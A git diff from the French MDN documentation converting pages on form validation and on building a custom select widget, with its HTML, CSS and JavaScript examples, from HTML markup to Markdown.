nécessaire d'exposer une API et des données ; assurez-vous que ces données ne soient pas critiques. +- Un décalage (_lag_) du réseau nécessite une validtion asynchrone. L'interface utilisateur doit être conçue de façon à pas être bloquée si cette validation n'est pas réalisée correctement. -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours :</p> +La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours : -<ul> - <li>Afficher des messages d'erreur explicites.</li> - <li>Être tolérant sur le format des données à envoyer.</li> - <li>Indiquer exactement où est l'erreur (en particulier pour les formulaires longs).</li> -</ul> +- Afficher des messages d'erreur explicites. +- Être tolérant sur le format des données à envoyer. +- Indiquer exactement où est l'erreur (en particulier pour les formulaires longs). -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Forms/Your_first_form">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/How_to_structure_a_web_form">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Basic_native_form_controls">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_and_retrieving_form_data">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Form_validation">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/How_to_build_custom_form_controls">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Learn/Forms/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Learn/Forms/Styling_web_forms">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Advanced_form_styling">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Learn/Forms/Your_first_form) +- [Comment structurer un formulaire HTML](/fr/docs/Learn/Forms/How_to_structure_a_web_form) +- [Les widgets natifs pour formulaire](/fr/docs/Learn/Forms/Basic_native_form_controls) +- [Envoi des données de formulaire](/fr/docs/Learn/Forms/Sending_and_retrieving_form_data) +- [Validation des données de formulaire](/fr/docs/Learn/Forms/Form_validation) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Learn/Forms/How_to_build_custom_form_controls) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Learn/Forms/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Learn/Forms/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Learn/Forms/Styling_web_forms) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Learn/Forms/Advanced_form_styling) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls) diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md index 20e96ebc26..2cc868993f 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md @@ -9,26 +9,29 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1 --- -<p>C'est le premier exemple de code qui explique <a href="/fr/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets">comment construire un widget de formulaire personnalisé</a>.</p> +C'est le premier exemple de code qui explique [comment construire un widget de formulaire personnalisé](/fr/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets). -<h2 id="Basic_state">État initial</h2> +## État initial -<h3 id="Basic_state_HTML">HTML</h3> +### HTML -<pre class="brush: html"><div class="select"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> -</div></pre> +```html +<div class="select"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> +</div> +``` -<h3 id="Basic_state_CSS">CSS</h3> +### CSS -<pre class="brush: css">/* --------------- */ +```css +/* --------------- */ /* Styles Requis */ /* --------------- */ @@ -142,30 +145,33 @@ original_slug: >- background: #000; color: #FFFFFF; } -</pre> +``` -<h3 id="Resultat_pour_l'état_initial">Resultat pour l'état initial</h3> +### Resultat pour l'état initial -<div>{{ EmbedLiveSample("Basic_state", 120, 130) }}</div> +{{ EmbedLiveSample("Basic_state", 120, 130) }} -<h2 id="Active_state">État actif</h2> +## État actif -<h3 id="Active_state_HTML">HTML</h3> +### HTML -<pre class="brush:html"><div class="select active"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> -</div></pre> +```html +<div class="select active"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> +</div> +``` -<h3 id="Active_state_CSS">CSS</h3> +### CSS -<pre class="brush:css">/* --------------- */ +```css +/* --------------- */ /* Styles Requis */ /* --------------- */ @@ -278,30 +284,34 @@ original_slug: >- .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<h3 id="Résultat_pour_état_actif">Résultat pour état actif</h3> +### Résultat pour état actif -<div>{{ EmbedLiveSample("Active_state", 120, 130) }}</div> +{{ EmbedLiveSample("Active_state", 120, 130) }} -<h2 id="Open_state">État ouvert</h2> +## État ouvert -<h3 id="Open_state_HTML">HTML</h3> +### HTML -<pre class="brush:html"><div class="select active"> - <span class="value">Cerise</span> - <ul class="optList"> - <li class="option highlight">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> -</div></pre> +```html +<div class="select active"> + <span class="value">Cerise</span> + <ul class="optList"> + <li class="option highlight">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> +</div> +``` -<h3 id="Open_state_CSS">CSS</h3> +### CSS -<pre class="brush:css">/* --------------- */ +```css +/* --------------- */ /* Styles Requis */ /* --------------- */ @@ -414,8 +424,9 @@ original_slug: >- .select .highlight { background: #000; color: #FFF; -}</pre> +} +``` -<h3 id="Resultat_pour_état_ouvert">Resultat pour état ouvert</h3> +### Resultat pour état ouvert -<div>{{ EmbedLiveSample("Open_state", 120, 130) }}</div> +{{ EmbedLiveSample("Open_state", 120, 130) }} diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.md index ac248a0470..04696ac4a8 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.md @@ -8,37 +8,39 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2 --- -<p>Ceci est le deuxième exemple expliquant comment <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">construire un formulaire personnalisé</a>.</p> - -<h2 id="JS">JS</h2> - -<h3 id="HTML_Content">HTML Content</h3> - -<pre class="brush: html"><form class="no-widget"> - <select name="myFruit"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> - - <div class="select"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> - </div> -<form> -</pre> - -<h3 id="CSS_Content">CSS Content</h3> - -<pre class="brush: css">.widget select, +Ceci est le deuxième exemple expliquant comment [construire un formulaire personnalisé](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets "/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets"). + +## JS + +### HTML Content + +```html +<form class="no-widget"> + <select name="myFruit"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> + + <div class="select"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + </div> +<form> +``` + +### CSS Content + +```css +.widget select, .no-widget .select { position : absolute; left : -5000em; @@ -159,58 +161,63 @@ original_slug: >- .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<h3 id="Contenu_JavaScript">Contenu JavaScript</h3> +### Contenu JavaScript -<pre class="brush: js">window.addEventListener("load", function () { +```js +window.addEventListener("load", function () { var form = document.querySelector('form'); form.classList.remove("no-widget"); form.classList.add("widget"); -});</pre> - -<h3 id="Résultat_avec_JavaScript">Résultat avec JavaScript</h3> - -<p>{{ EmbedLiveSample('JS', 120, 130) }}</p> - -<h2 id="No_JS">Sans JS</h2> - -<h3 id="HTML_Content_2">HTML Content</h3> - -<pre class="brush: html"><form class="no-widget"> - <select name="myFruit"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> - - <div class="select"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> - </div> -<form></pre> - -<h3 id="CSS_Content_2">CSS Content</h3> - -<pre class="brush: css">.widget select, +}); +``` + +### Résultat avec JavaScript + +{{ EmbedLiveSample('JS', 120, 130) }} + +## Sans JS + +### HTML Content + +```html +<form class="no-widget"> + <select name="myFruit"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> + + <div class="select"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + </div> +<form> +``` + +### CSS Content + +```css +.widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; -}</pre> - -<h3 id="Result_for_No_JS">Result for No JS</h3> +} +``` -<p>{{ EmbedLiveSample('No_JS', 120, 130) }}</p> +### Result for No JS -<p> </p> +{{ EmbedLiveSample('No_JS', 120, 130) }} diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md index 2967d9d181..8d309a3801 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md @@ -8,36 +8,39 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3 --- -<p>Ceci est le troisième exemple expliquant comment <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">construire des widgets de formulaire personnalisés</a>.</p> - -<h2>Changement d'état</h2> - -<h3 id="Contenu_HTML">Contenu HTML</h3> - -<pre class="brush: html"><form class="no-widget"> - <select name="myFruit" tabindex="-1"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> - - <div class="select" tabindex="0"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> - </div> -</form></pre> - -<h3 id="Contenu_du_CSS">Contenu du CSS</h3> - -<pre class="brush: css">.widget select, +Ceci est le troisième exemple expliquant comment [construire des widgets de formulaire personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets "/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets"). + +## Changement d'état + +### Contenu HTML + +```html +<form class="no-widget"> + <select name="myFruit" tabindex="-1"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> + + <div class="select" tabindex="0"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + </div> +</form> +``` + +### Contenu du CSS + +```css +.widget select, .no-widget .select { position : absolute; left : -5000em; @@ -158,11 +161,13 @@ original_slug: >- .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<h3 id="Contenu_JavaScript">Contenu JavaScript</h3> +### Contenu JavaScript -<pre class="brush: js">// ----------- // +```js +// ----------- // // UTILITAIRES // // ----------- // @@ -241,8 +246,9 @@ window.addEventListener('load', function () { deactivateSelect(select); }); }); -});</pre> +}); +``` -<h3 id="Résultat">Résultat</h3> +### Résultat -<p>{{ EmbedLiveSample('Changement_détat') }}</p> +{{ EmbedLiveSample('Changement_détat') }} diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.md index dc6f31576c..15c941fbe8 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.md @@ -12,36 +12,39 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4 --- -<p>Ceci est le quatrième exemple expliquant <a href="/fr/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">comment construire des widgets de formulaire personnalisés</a>.</p> - -<h2>Changement d'état</h2> - -<h3 id="Contenu_HTML">Contenu HTML</h3> - -<pre class="brush: html"><form class="no-widget"> - <select name="myFruit"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> - - <div class="select"> - <span class="value">Cerise</span> - <ul class="optList hidden"> - <li class="option">Cerise</li> - <li class="option">Citron</li> - <li class="option">Banane</li> - <li class="option">Fraise</li> - <li class="option">Pomme</li> - </ul> - </div> -</form></pre> - -<h3 id="Contenu_CSS">Contenu CSS</h3> - -<pre class="brush: css">.widget select, +Ceci est le quatrième exemple expliquant [comment construire des widgets de formulaire personnalisés](/fr/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets). + +## Changement d'état + +### Contenu HTML + +```html +<form class="no-widget"> + <select name="myFruit"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> + + <div class="select"> + <span class="value">Cerise</span> + <ul class="optList hidden"> + <li class="option">Cerise</li> + <li class="option">Citron</li> + <li class="option">Banane</li> + <li class="option">Fraise</li> + <li class="option">Pomme</li> + </ul> + </div> +</form> +``` + +### Contenu CSS + +```css +.widget select, .no-widget .select { position : absolute; left : -5000em; @@ -162,11 +165,13 @@ original_slug: >- .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<h3 id="Contenu_JavaScript">Contenu JavaScript</h3> +### Contenu JavaScript -<pre class="brush: js">// ----------- // +```js +// ----------- // // UTILITAIRES // // ----------- // @@ -285,14 +290,15 @@ window.addEventListener('load', function () { var length = optionList.length, index = getIndex(select); - if (event.keyCode === 40 && index < length - 1) { index++; } - if (event.keyCode === 38 && index > 0) { index--; } + if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 38 && index > 0) { index--; } updateValue(select, index); }); }); -});</pre> +}); +``` -<h3 id="Résultat">Résultat</h3> +### Résultat -<p>{{ EmbedLiveSample('Changement_détat') }}</p> +{{ EmbedLiveSample('Changement_détat') }} diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.md index caf65d51c3..51193b4248 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.md @@ -8,36 +8,39 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_5 original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5 --- -<p>Voici le dernier exemple expliquant <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">comment construire des widgets de formulaire personnalisés</a>.</p> - -<h2>Changement d'état</h2> - -<h3 id="Contenu_HTML">Contenu HTML</h3> - -<pre class="brush: html"><form class="no-widget"> - <select name="myFruit"> - <option>Cerise</option> - <option>Citron</option> - <option>Banane</option> - <option>Fraise</option> - <option>Pomme</option> - </select> - - <div class="select" role="listbox"> - <span class="value">Cerise</span> - <ul class="optList hidden" role="presentation"> - <li class="option" role="option" aria-selected="true">Cerise</li> - <li class="option" role="option">Citron</li> - <li class="option" role="option">Banane</li> - <li class="option" role="option">Fraise</li> - <li class="option" role="option">Pomme</li> - </ul> - </div> -</form></pre> - -<h3 id="Contenu_CSS">Contenu CSS</h3> - -<pre class="brush: css">.widget select, +Voici le dernier exemple expliquant [comment construire des widgets de formulaire personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets "/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets"). + +## Changement d'état + +### Contenu HTML + +```html +<form class="no-widget"> + <select name="myFruit"> + <option>Cerise</option> + <option>Citron</option> + <option>Banane</option> + <option>Fraise</option> + <option>Pomme</option> + </select> + + <div class="select" role="listbox"> + <span class="value">Cerise</span> + <ul class="optList hidden" role="presentation"> + <li class="option" role="option" aria-selected="true">Cerise</li> + <li class="option" role="option">Citron</li> + <li class="option" role="option">Banane</li> + <li class="option" role="option">Fraise</li> + <li class="option" role="option">Pomme</li> + </ul> + </div> +</form> +``` + +### Contenu CSS + +```css +.widget select, .no-widget .select { position : absolute; left : -5000em; @@ -158,11 +161,13 @@ original_slug: >- .select .highlight { background: #000; color: #FFFFFF; -}</pre> +} +``` -<h3 id="Contenu_JavaScript">Contenu JavaScript</h3> +### Contenu JavaScript -<pre class="brush: js">// ----------- // +```js +// ----------- // // UTILITAIRES // // ----------- // @@ -277,15 +282,15 @@ window.addEventListener('load', function () { var length = optionList.length, index = getIndex(select); - if (event.keyCode === 40 && index < length - 1) { index++; } - if (event.keyCode === 38 && index > 0) { index--; } + if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 38 && index > 0) { index--; } updateValue(select, index); }); }); }); -</pre> +``` -<h3 id="Résultat">Résultat</h3> +### Résultat -<p>{{ EmbedLiveSample('Changement_détat') }}</p> +{{ EmbedLiveSample('Changement_détat') }} diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/index.md index ed842a9e47..62c865a50b 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/index.md @@ -12,134 +12,129 @@ translation_of: Learn/Forms/How_to_build_custom_form_controls original_slug: >- Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}} -<p>Dans de nombreux cas les <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets de formulaires HTML disponibles</a> ne suffisent pas. Si vous voulez composer certains widgets dans un <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">style avancé</a> tels que l'élément {{HTMLElement("select")}} ou si vous voulez leur donner des comportements personnalisés, vous n'avez pas d'autre choix que de créer vos propres widgets.</p> +Dans de nombreux cas les [widgets de formulaires HTML disponibles](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) ne suffisent pas. Si vous voulez composer certains widgets dans un [style avancé](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) tels que l'élément {{HTMLElement("select")}} ou si vous voulez leur donner des comportements personnalisés, vous n'avez pas d'autre choix que de créer vos propres widgets. -<p>Dans cet article, nous verrons comment construire un tel widget. Pour cela, nous allons travailler avec un exemple : reconstruire l'élément {{HTMLElement("select")}}.</p> +Dans cet article, nous verrons comment construire un tel widget. Pour cela, nous allons travailler avec un exemple : reconstruire l'élément {{HTMLElement("select")}}. -<div class="note"> -<p><strong>Note :</strong> Nous nous resterons centrés sur la construction des widgets, et non sur la façon de rendre le code générique et réutilisable ; cela impliquerait une manipulation de code JavaScript et de DOM dans un contexte inconnu, et nous sortirions de la portée de cet article.</p> -</div> +> **Note :** Nous nous resterons centrés sur la construction des widgets, et non sur la façon de rendre le code générique et réutilisable ; cela impliquerait une manipulation de code JavaScript et de DOM dans un contexte inconnu, et nous sortirions de la portée de cet article. -<h2 id="Conception_structure_et_sémantique">Conception, structure et sémantique</h2> +## Conception, structure et sémantique -<p>Avant de créer un widget personnalisé, il faut commencer par déterminer exactement ce que vous voulez. Vous gagnerez ainsi un temps précieux. En particulier, il est important de définir clairement tous les états de votre widget. Pour ce faire, il est bon de commencer par un widget existant dont les états et le comportement sont bien connus, afin que vous puissiez simplement les imiter autant que possible.</p> +Avant de créer un widget personnalisé, il faut commencer par déterminer exactement ce que vous voulez. Vous gagnerez ainsi un temps précieux. En particulier, il est important de définir clairement tous les états de votre widget. Pour ce faire, il est bon de commencer par un widget existant dont les états et le comportement sont bien connus, afin que vous puissiez simplement les imiter autant que possible. -<p>Dans notre exemple, nous allons reconstruire l'élément {{HTMLElement("select")}}}. Voici le résultat que nous voulons atteindre :</p> +Dans notre exemple, nous allons reconstruire l'élément {{HTMLElement("select")}}}. Voici le résultat que nous voulons atteindre : -<p><img alt="The three states of a select box" src="custom-select.png"></p> + -<p>Cette capture d'écran montre les trois états principaux du widget : l'état normal (à gauche), l'état actif (au milieu) et l'état ouvert (à droite).</p> +Cette capture d'écran montre les trois états principaux du widget : l'état normal (à gauche), l'état actif (au milieu) et l'état ouvert (à droite). -<p>En termes de comportement, nous voulons que notre widget soit utilisable aussi bien avec une souris qu'avec un clavier, comme n'importe quel widget natif. Commençons par définir comment le widget atteint chaque état :</p> +En termes de comportement, nous voulons que notre widget soit utilisable aussi bien avec une souris qu'avec un clavier, comme n'importe quel widget natif. Commençons par définir comment le widget atteint chaque état : -<p>Le widget est dans son état normal :</p> +Le widget est dans son état normal : - <ul> - <li>la page se charge</li> - <li>le widget était actif et l'utilisateur a cliqué quelque part en dehors du widget</li> - <li>le widget était actif et l'utilisateur a déplacé le focus sur un autre avec le clavier</li> - </ul> +- la page se charge +- le widget était actif et l'utilisateur a cliqué quelque part en dehors du widget +- le widget était actif et l'utilisateur a déplacé le focus sur un autre avec le clavier - <div class="note"> - <p><strong>Note :</strong> Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la <a href="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/">combinaison Option+Tab</a>.</p> - </div> +> **Note :** Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la [combinaison Option+Tab](http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/). - <p>Le widget est sans son état actif :</p> - - <ul> - <li>l'utilisateur clique sur lui</li> - <li>l'utilisateur presse la touche Tabulation et obtient le focus</li> - <li>le widget était dans l'état ouvert et l'utilisateur a cliqué dessus.</li> - </ul> - - <p>Le widget est dans un état ouvert :</p> - - <ul> - <li>le widget est dans un état autre que ouvert et l'utilisateur clique dessus.</li> - </ul> +Le widget est sans son état actif : -<p>Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget :</p> +- l'utilisateur clique sur lui +- l'utilisateur presse la touche Tabulation et obtient le focus +- le widget était dans l'état ouvert et l'utilisateur a cliqué dessus. - <p>La valeur change quand :</p> +Le widget est dans un état ouvert : - <ul> - <li>l'utilisateur clique sur une option quand le widget est dans l'état ouvert</li> - <li>l'utilisateur presse la touche <kbd>↑</kbd> ou <kbd>↓</kbd> quand le widget est dans l'état actif</li> - </ul> +- le widget est dans un état autre que ouvert et l'utilisateur clique dessus. -<p>Enfin, définissons comment les options du widget doivent se comporter :</p> +Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget : -<ul> - <li>Quand le widget est ouvert, l'option sélectionnée est mise en valeur</li> - <li>Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal</li> -</ul> +La valeur change quand : -<p>Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera.</p> +- l'utilisateur clique sur une option quand le widget est dans l'état ouvert +- l'utilisateur presse la touche -<p>Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches <kbd>↑</kbd> ou <kbd>↓</kbd> alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après).</p> + <kbd>↑</kbd> -<p>Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à <a href="https://fr.wikipedia.org/wiki/Test_utilisateur">faire des tests utilisateur</a>. Ce processus est appelé UX Design (<strong>U</strong>ser e<strong>X</strong>perience). Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes :</p> + ou -<ul> - <li><a href="http://www.uxmatters.com/" rel="external">UXMatters.com</a></li> - <li><a href="http://uxdesign.com/" rel="external">UXDesign.com</a></li> - <li><a href="http://uxdesign.smashingmagazine.com/" rel="external">The UX Design section of SmashingMagazine</a></li> -</ul> + <kbd>↓</kbd> -<div class="note"> -<p><strong>Note :</strong> De plus, dans la plupart des systèmes, il y a moyen d'ouvrir l'élément {{HTMLElement("select")}} pour voir tous les choix disponibles (c'est la même chose que de cliquer sur l'élément {{HTMLElement("select")}} avec une souris). Cela se fait avec <kbd>Alt</kbd>+<strong><kbd>↓</kbd></strong> sous Windows et n'a pas été implémenté dans notre exemple - mais il serait facile de le faire, car le mécanisme a déjà été implémenté pour l'événement <code>click</code>.</p> -</div> + quand le widget est dans l'état actif -<h3 id="Definition_de_la_structure_HTML_et_de_la_sémantique">Definition de la structure HTML et de la sémantique</h3> +Enfin, définissons comment les options du widget doivent se comporter : -<p>Maintenant que la fonctionnalité de base du widget a été décidée, il est temps de commencer à construire notre widget. La première étape consiste à 